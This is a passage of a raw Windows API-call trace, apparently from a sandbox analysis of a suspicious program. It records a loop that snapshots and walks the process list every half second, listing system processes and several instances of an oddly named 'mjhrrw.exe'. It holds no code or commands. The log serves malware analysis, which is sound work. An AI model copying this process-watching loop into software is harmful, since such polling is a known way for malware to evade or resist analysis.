[0223.612] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0223.612] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0223.613] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0223.613] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0223.613] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0223.614] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0223.614] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0223.615] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0223.615] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0223.616] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0223.616] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0223.616] CloseHandle (hObject=0x374) returned 1 [0223.617] Sleep (dwMilliseconds=0x1f4) [0224.291] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x374 [0224.319] Process32FirstW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0224.320] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0224.325] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0224.326] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.326] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0224.327] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0224.327] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0224.328] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0224.329] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0224.329] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0224.330] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0224.331] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.332] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.333] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0224.333] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.334] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.334] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.335] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.335] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.336] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.337] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.337] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.338] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.338] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.339] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0224.339] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.340] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0224.340] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0224.341] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0224.342] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0224.342] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0224.343] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0224.343] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x948, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x170, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0224.344] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0xa10, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0224.344] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0224.345] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb4c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0224.346] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0224.346] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0224.347] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xca0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0224.347] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0xc88, pcPriClassBase=8, dwFlags=0x0, szExeFile="mjhrrw.exe")) returned 1 [0224.348] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0224.349] Process32NextW (in: hSnapshot=0x374, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 0 [0224.349] CloseHandle (hObject=0x374) returned 1 [0224.349] Sleep (dwMilliseconds=0x1f4) [0225.047] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x370 [0225.082] Process32FirstW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0225.083] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0225.084] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0225.084] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.099] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0225.101] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0225.101] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x220, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0225.102] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0225.103] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x244, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0225.104] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x220, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.104] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0225.105] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.231] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x304, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.232] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x220, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0225.232] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.248] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.248] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.249] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3c, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.249] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x28c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x23, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.250] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.251] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.251] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.252] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.253] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.253] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0225.254] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x634, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0225.254] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0225.255] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x69c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0225.255] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0225.256] Process32NextW (in: hSnapshot=0x370, lppe=0x269fb60 | out: lppe=0x269fb60*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory 